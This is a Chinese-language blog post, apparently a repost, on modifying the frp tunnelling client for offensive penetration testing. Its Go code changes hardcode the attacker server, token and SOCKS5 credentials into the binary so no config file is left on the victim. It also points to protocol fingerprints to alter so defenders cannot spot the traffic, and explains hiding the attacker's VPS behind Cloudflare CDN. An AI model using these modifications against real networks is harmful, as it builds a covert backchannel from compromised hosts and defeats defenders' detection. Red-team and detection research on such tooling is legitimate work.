frp优化

margin

​原文链接：frp优化 (qq.com)


前言工欲善其事，必先利其器。由于frp并不是主要以渗透测试内网穿透为目的而开发的软件，所以为符合攻击对抗的要求需要对其进行改造来达到免杀、流量隐蔽等要求。

使用原版加载参数的方式一旦被防守者发现极易暴露攻击者信息，可以采取无配置文件落地或者半落地方式来规避防守。

效果如下：

1. <code>frpc.exe -i x.x.x.x -p 17000 -r 10000 </code>
   
2. <code>frpc.exe //内置所有配置参数</code>

复制代码

*命令行方式可在windows系统中可以隐藏命令参数，在linux系统可以使用history查看到，想要彻底规避需要将所需参数直接写在frp源码中再重新编译。

frpc是frp的客户端，GitHub原版使用frpc.ini传递运行参数，常使用的参数有以下几个：

1. [common]
   
2. server_addr = 127.0.0.1
   
3. server_port = 17000
   
4. tls_enable = true  //传输过程使用tls加密
   
5. token = zhangyida  //连接服务端密码
   
6. 
   
7. [socks5_proxy]
   
8. type = tcp
   
9. plugin = socks5   
   
10. plugin_user = zyd               
    
11. plugin_passwd = zyd  
    
12. remote_port = 10000

复制代码

首先在实现之前，需要知晓原版frp是如何传递参数即frpc参数传递分析。
frp参数传递过程简析以0.33版本frp传参代码的实现如下：
cmd/frpc/sub/root.go

1. 
   
2. //init():初始化参数，c代表config文件地址；v表示frpc版本
   
3. func init() {
   
4.   rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
   
5.   rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")
   
6. 
   
7.   kcpDoneCh = make(chan struct{})
   
8. }
   
9. 
   
10. 
    
11. var rootCmd = &cobra.Command{
    
12.   //提示信息如下
    
13.   Use:   "frpc",
    
14.   Short: "frpc is the client of frp (https://github.com/fatedier/frp)",
    
15.   RunE: func(cmd *cobra.Command, args []string) error {
    
16.     if showVersion {
    
17.       fmt.Println(version.Full())
    
18.       return nil
    
19.     }
    
20. 
    
21.     // Do not show command usage here.
    
22.         //通过runClient方法读取配置文件信息并向服务端注册搭建隧道
    
23.     err := runClient(cfgFile)
    
24.     if err != nil {
    
25.       fmt.Println(err)
    
26.       os.Exit(1)
    
27.     }
    
28.     return nil
    
29.   },
    
30. }

复制代码

跟进runClient方法，发现以下3个方法跟解析配置文件相关
​

​

​

config.GetRenderedConfFromFile实现读取ini格式配置文件并最终转换为字符串

1. //models/config/values.go
   
2. 
   
3. package config
   
4. 
   
5. import (
   
6.   "bytes"
   
7.   "io/ioutil"
   
8.   "os"
   
9.   "strings"
   
10.   "text/template"
    
11. )
    
12. 
    
13. var (
    
14.   glbEnvs map[string]string
    
15. )
    
16. 
    
17. func init() {
    
18.   glbEnvs = make(map[string]string)
    
19.   envs := os.Environ()
    
20.   for _, env := range envs {
    
21.     kv := strings.Split(env, "=")
    
22.     if len(kv) != 2 {
    
23.       continue
    
24.     }
    
25.     glbEnvs[kv[0]] = kv[1]
    
26.   }
    
27. }
    
28. 
    
29. type Values struct {
    
30.   Envs map[string]string // environment vars
    
31. }
    
32. 
    
33. func GetValues() *Values {
    
34.   return &Values{
    
35.     Envs: glbEnvs,
    
36.   }
    
37. }
    
38. 
    
39. func RenderContent(in string) (out string, err error) {
    
40.   tmpl, errRet := template.New("frp").Parse(in)
    
41.   if errRet != nil {
    
42.     err = errRet
    
43.     return
    
44.   }
    
45. 
    
46.   buffer := bytes.NewBufferString("")
    
47.   v := GetValues()
    
48.   err = tmpl.Execute(buffer, v)
    
49.   if err != nil {
    
50.     return
    
51.   }
    
52.   out = buffer.String()
    
53.   return
    
54. }
    
55. 
    
56. func GetRenderedConfFromFile(path string) (out string, err error) {
    
57.   var b []byte
    
58.   b, err = ioutil.ReadFile(path)
    
59.   if err != nil {
    
60.     return
    
61.   }
    
62.   content := string(b)
    
63. 
    
64.   out, err = RenderContent(content)
    
65.   return
    
66. }

复制代码

parseClientCommonConf，根据传递参数方式选择ini文件格式或者命令行方式。

​

当为ini文件时，解析
config.GetRenderedConfFromFile返回的字符串

​

config.UnmarshalClientConfFromIni将content字符串转换成结构体返回cfg

​

当传递参数方式为命令行时，注意这个参数只是frpc的[common]参数。

​

config.loadAllConfFromIni主要实现读取代理相关参数

​

命令行传参
向cobra的init方法添加serverAddr、serverPort、forwardPort

1. func init() {
   
2.   //rootCmd.PersistentFlags().StringVarP(&cfgFile, "config", "c", "./frpc.ini", "config file of frpc")
   
3.   //rootCmd.PersistentFlags().BoolVarP(&showVersion, "version", "v", false, "version of frpc")
   
4. 
   
5.   rootCmd.PersistentFlags().StringVarP(&serverAddr, "server_addr", "i", "1.1.1.1", "server_addr")
   
6.   rootCmd.PersistentFlags().StringVarP(&serverPort, "server_port", "p", "18000", "server_port")
   
7.   rootCmd.PersistentFlags().StringVarP(&forwardPort, "remote_port", "r", "11000", "remote_port")
   
8. 
   
9.   kcpDoneCh = make(chan struct{})
   
10. }
    

复制代码

构造getConfFromCmd方法，将frpc.ini内容写入并传递添加的参数

1. 
   
2. func getConfFromCmd(serverAddr string, serverPort string, fport string) {
   
3.   fileContent = `[common]
   
4. server_addr =` + serverAddr + `
   
5. server_port = ` + serverPort + `
   
6. tls_enable = true
   
7. token = zyd
   
8. 
   
9. [socks5_proxy]
   
10. type = tcp
    
11. plugin = socks5   
    
12. plugin_user = zyd   
    
13. plugin_passwd = zyd  
    
14. remote_port = ` + forwardPort + `
    
15. `
    
16. 
    
17. }

复制代码

修改runClient方法，使用写入的frpc.ini取代原来读取配置文件的方法

1. 
   
2. func runClient(cfgFilePath string) (err error) {
   
3.   var content string
   
4.   getConfFromCmd(serverAddr, serverPort, forwardPort)
   
5.   content, err = fileContent, nil
   
6.   if err != nil {
   
7.     return
   
8.   }
   
9. 
   
10.   cfg, err := parseClientCommonCfg(CfgFileTypeIni, content)
    
11. 
    
12.   if err != nil {
    
13.     return
    
14.   }
    
15. 
    
16.   pxyCfgs, visitorCfgs, err := config.LoadAllConfFromIni(cfg.User, content, cfg.Start)
    
17.   if err != nil {
    
18.     return err
    
19.   }
    
20. 
    
21.   err = startService(cfg, pxyCfgs, visitorCfgs, cfgFilePath)
    
22.   return
    
23. }

复制代码

实现命令行传递参数，隧道搭建成功

​

frpc.ini完全写入源码
将getConfFromCmd方法中的所有待定参数给定即可

1. 
   
2. func getConfFromCmd(serverAddr string, serverPort string, fport string) {
   
3.   fileContent = `[common]
   
4. server_addr =  1.1.1.1
   
5. server_port = 12321
   
6. tls_enable = true
   
7. token = zyd
   
8. 
   
9. [socks5_proxy]
   
10. type = tcp
    
11. plugin = socks5   
    
12. plugin_user = zyd   
    
13. plugin_passwd = zyd  
    
14. remote_port = 11000
    
15. `
    
16. 
    
17. }

复制代码

特征修改特征一在tls_enable为false时，frpc与frps之间的认证流量存在特征，在models/msg/msg.go中修改。

​

​

​


​
特征二frp为了端口复用，建立TLS连接时第一个字节是固定的0x17，且后面数据包大小为317，在utils/net/tls.go中进行修改。
​

​

​

​
CDN隐藏真实IP
经过以上修改的frp无法完全隐藏攻击者vps ip，可以使用websocket协议实现cdn来规避。

​

首先在godady购买一个域名

​

使用cloudflare实现免费cdn，不能使用国内服务器，使用xg或者国外vps且免费版的cloudflare存在端口限制，只能使用常见http/s使用的端口。
http：80,8080,8880,2052,2082,2086,2095
https：443,2053,2083,2087,2096,8443

​

修改源码中的server_addr为自己的域名
​
效果
删除不必要文件后使用frp自带的packge.sh编译缩后在目标执行即可。

​

​

       
• 
         

1. 
   
2. 参考
   
3. https://uknowsec.cn/posts/notes/FRP%E6%94%B9%E9%80%A0%E8%AE%A1%E5%88%92.html
   
4. https://sec.lz520520.com/2020/11/566/

复制代码

​